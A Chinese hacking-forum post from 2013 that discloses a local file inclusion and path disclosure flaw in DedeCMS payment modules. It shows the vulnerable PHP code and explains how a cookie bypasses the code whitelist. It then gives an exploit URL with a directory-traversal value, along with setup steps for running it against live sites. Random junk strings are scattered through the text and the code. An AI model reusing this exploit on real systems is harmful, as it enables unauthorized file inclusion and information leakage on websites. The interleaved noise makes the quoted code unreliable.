找回密码
 立即注册
查看: 2676|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
' u6 R& a, |4 L. G
% V$ [/ d  N. x7 E$ n) ~7 E) P出现漏洞的两个文件为:
2 y7 H- g0 b) n) rInclude/payment/alipay.php  Q: Z6 x+ c9 i, f' M- s; c. L
Include/payment/yeepay.php
: U" P/ C8 M6 `3 J漏洞均出现在respond方法里,估计这两个文件是临时工写的。
+ w0 f' S- X5 d2 I& S/ m
; {9 @; A- D6 Y7 mInclude/payment/alipay.php8 H, t' Q7 f' ]( D& f3 n/ g
& h& l* \5 Y1 q! _1 m/ T# i
......
& g5 i: ?4 @% ~7 S7 G   function respond()
4 `  n9 v* T# `, {) ]; A    {3 s5 x6 e+ B  @( n. ]7 w
        if (!empty($_POST))
8 Y9 V1 h8 T% Y. H+ Y$ E9 a/ ]. p2 K        {
2 N- M( v, a2 t3 C: A0 b            foreach($_POST as $key => $data)
& Y0 O" w: E% I, g2 e9 c            {
6 R; R: n3 s- z( R4 n                $_GET[$key] = $data;2 a- V: H" ]5 o/ k2 v
            }
6 o' S8 A, l% q& \        }/ \' O6 X; s7 O5 z0 y& A
        /* 引入配置文件 */
# k5 ^! N4 H/ P        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
3 M$ ?" g1 w/ y6 G$ e6 d' A( A1 [......
5 z5 ?; p8 i0 \  ?" h
' Z  i* R( L* y* K5 t3 K2 `3 }8 T! v* h/ k0 b  [
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
  B$ x) _8 J* Q& x/ h$ h1 ^! i: V5 ]0 Y* N5 s
Include/payment/yeepay.php
, D( v9 ]' s) n/ K1 {) P
8 {  e2 z: Q* P* d! L
8 T! D7 m- C9 O0 m
# p* e5 F$ j% y2 u+ Z......
6 O7 p/ \  w. M5 ?! b    function respond()$ S1 G1 o- X$ ]0 n5 c
    {
$ n% c5 }! u4 m % [- w+ ?0 Y  P( z( {' s
        /* 引入配置文件 *// i. z) ~* `. T4 D; _/ o" q
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';8 w( H2 c5 f6 B3 Q6 m

- h/ @  w, q  }8 w# C        $p1_MerId = trim($payment['yp_account']);
% w' K/ J% x* G% \8 o7 q" \        $merchantKey = trim($payment['yp_key']);" G0 V( B" X4 d% s" ]% s
...... - q( I& D" @5 I, |+ h

; D0 S! S8 r& b  n' m7 C
/ U! w# ]  y% f# n+ j0 \ & X9 B& T3 [- }6 C/ g0 T
% t# {& i% a: b& b
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
; ?6 @7 t& \3 L8 c! P. ~8 f$ f. K* S1 V( N
这两个方法在plus/carbuyaction.php文件调用。/ o1 S. R* E' N% ^

8 W- I3 `* ]% wplus/carbuyaction.php
4 _% S4 X5 t8 E# j/ Z" \7 A' g0 }, z! Q* ?9 ?* q
......3 z6 i% e0 J& h
} else if ($dopost == 'return') {
) l' X% M: j$ N# M4 ~    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
+ R& _. {, s' O, v3 t: n7 {    if (in_array($code, $write_list))
9 y& L) u8 m7 _; \0 Y6 Y    {
8 q9 a; V3 ~* }6 u/ d        require_once DEDEINC.'/payment/'.$code.'.php';9 Y- [# a1 m/ j& V
        $pay = new $code;5 R6 y* n' w. A) Q2 t
        $msg=$pay->respond();. R3 v2 e; @4 z7 c0 R8 f
        ShowMsg($msg, "javascript:;", 0, 3000);  k" i/ _  J5 X7 v" x
        exit();  
: F6 k& @# q0 ~2 K, l6 W    } else {
) o: L. w* j1 G& l; Y. ^        exit('Error:File Type Can\'t Recognized!');
0 t* ?  J/ L, }0 d    }/ J& ~' Z4 a% X: h! \! m9 g; A
}$ O" W) t6 z  e- z  {- Y5 ^
...... # W9 }4 B# ?# e* J; ^
0 \, I. b. c5 E1 z3 j

1 Q. Q9 v1 e/ M $ X7 g; d6 {, ]6 E

( C, X5 F& Q0 C# u) V/ _+ |+ H% I# h. f0 `- a
+ G! u, L1 ~6 K1 _5 m9 L/ i! B) C, {; _# y3 _$ q
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。8 S; t! W) @/ v/ k* d+ v
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。: v4 P4 I% D3 n. ~% x- D
6 C2 U! m) g% L- m
回到include/common.inc.php来看看他的机制。; ~4 U2 o7 T4 ^: o' N: y
/ S4 d- P% G2 K
) @1 U8 P- N$ F7 [% g

$ H) ^8 N5 |, p- Y0 r1 n2 k% C......
& H8 k5 B, U0 u$ ]$ }. dforeach(Array('_GET','_POST','_COOKIE') as $_request)
5 ^% D' i. ], r6 P{( ~0 V4 _8 Y0 F$ `0 R
        foreach($$_request as $_k => $_v)
3 {1 F, v' g& j- y7 f        {" v* ^. @; h% ]# ~: F, y
                if($_k == 'nvarname') ${$_k} = $_v;
+ k9 y7 d/ I* ^/ y# \6 D                else ${$_k} = _RunMagicQuotes($_v);
; N  D6 k0 C2 e; e/ V        }
* v4 d& L. _, N" d1 K}
2 k. [) ?2 g$ h, p/ S...... ; I7 K/ o9 D* o+ [. a$ m
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:# ^) w. c7 Z- C8 q; f' s
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表